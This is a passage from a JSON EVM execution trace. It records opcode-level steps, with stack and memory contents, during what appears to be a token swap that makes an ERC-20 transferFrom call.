x240","0x80","0x0","0x2e7f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15490,"op":"POP","gas":95532,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15491,"op":"POP","gas":95530,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15492,"op":"PUSH1","gas":95528,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15494,"op":"SWAP2","gas":95525,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15495,"op":"ADD","gas":95522,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x0","0x2e4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15496,"op":"MSTORE","gas":95519,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x0","0x348"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15497,"op":"JUMP","gas":95516,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15516,"op":"JUMPDEST","gas":95508,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15517,"op":"SWAP2","gas":95507,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15518,"op":"SWAP1","gas":95504,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x64","0x0","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4","668a84c842116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15519,"op":"SWAP2","gas":95501,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x64","0x2e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000